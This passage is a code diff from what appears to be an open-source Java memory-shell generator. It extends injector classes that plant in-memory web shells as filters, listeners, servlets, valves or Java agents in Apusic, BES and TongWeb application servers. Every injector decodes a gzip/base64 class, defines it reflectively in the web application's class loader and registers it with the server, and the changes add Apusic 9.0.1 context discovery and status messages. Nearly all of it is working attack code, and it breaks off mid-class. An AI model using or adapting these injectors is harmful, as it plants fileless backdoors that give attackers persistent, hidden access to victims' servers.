.redefine(typeDescription, classFileLocator); .redefine(typeDescription, compoundLocator);
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
@@ -59,6 +60,10 @@ public class InjectorGenerator {
if (shellConfig.isDebugOff()) { if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = StaticBlockSelfConstructorCall.extend(builder);
}
return builder; return builder;
} }
@@ -1,13 +1,17 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments; import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
@@ -18,19 +22,26 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
*/ */
public class ListenerGenerator { public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) { public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
builder = builder TypeDescription typeDefinition, String newClassName) {
.visit(MethodCallReplaceVisitorWrapper.newInstance( MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass) if (methods.filter(ElementMatchers.named("getResponseFromRequest")
.getDeclaredMethods() .and(ElementMatchers.takesArguments(Object.class))
.filter(named("getFieldValue") .and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class))) .and(takesArguments(Object.class, String.class)))
.isEmpty(); .isEmpty()) {
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class) .throwing(Exception.class)
@@ -32,13 +32,20 @@ public class ValveGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) { public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null; String packageName = null;
if (serverVersion.equals("6")) { if (serverVersion != null) {
packageName = TONGWEB6_VALVE_PACKAGE; switch (serverVersion) {
} else if (serverVersion.equals("7")) { case "6":
packageName = TONGWEB7_VALVE_PACKAGE; packageName = TONGWEB6_VALVE_PACKAGE;
} else if (serverVersion.equals("8")) { break;
packageName = TONGWEB8_VALVE_PACKAGE; case "7":
} else if (shell instanceof Bes) { packageName = TONGWEB7_VALVE_PACKAGE;
break;
case "8":
packageName = TONGWEB8_VALVE_PACKAGE;
break;
}
}
if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE; packageName = BES_VALVE_PACKAGE;
} }
if (StringUtils.isEmpty(packageName)) { if (StringUtils.isEmpty(packageName)) {
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -17,17 +19,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicFilterInjector { public class ApusicFilterInjector {
public ApusicFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,6 +33,45 @@ public class ApusicFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule * context -> webapp: com.apusic.deploy.runtime.WebModule
@@ -51,38 +82,56 @@ public class ApusicFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
// addFilterMapping // addFilterMapping
@@ -100,7 +149,11 @@ public class ApusicFilterInjector {
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
Object filterMapper = getFieldValue(context, "filterMapper"); Object filterMapper = getFieldValue(context, "filterMapper");
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
System.out.println("filter injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -155,7 +208,7 @@ public class ApusicFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(fieldName); throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -184,4 +237,19 @@ public class ApusicFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -16,17 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicListenerInjector { public class ApusicListenerInjector {
public ApusicListenerInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,52 +32,109 @@ public class ApusicListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicListenerInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
public void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null); if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
for (String name : listeners) { return;
if (getClassName().equals(name)) {
System.out.println("listener already injected");
return;
}
} }
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "loadListeners", null, null); invokeMethod(context, "loadListeners", null, null);
System.out.println("listener injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -169,4 +218,19 @@ public class ApusicListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -16,17 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicServletInjector { public class ApusicServletInjector {
public ApusicServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,36 +32,94 @@ public class ApusicServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
@@ -77,12 +127,15 @@ public class ApusicServletInjector {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
Object servletMapper = getFieldValue(context, "servletMapper"); Object servletMapper = getFieldValue(context, "servletMapper");
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet already injected");
return; return;
} }
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
System.out.println("servlet injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -166,4 +219,19 @@ public class ApusicServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
} }
@Override @Override
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -4,30 +4,18 @@ import javax.servlet.Filter;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class BesFilterInjector { public class BesFilterInjector {
Logger log = Logger.getLogger(BesFilterInjector.class.getName()); private String msg = "";
public BesFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,6 +29,45 @@ public class BesFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public BesFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
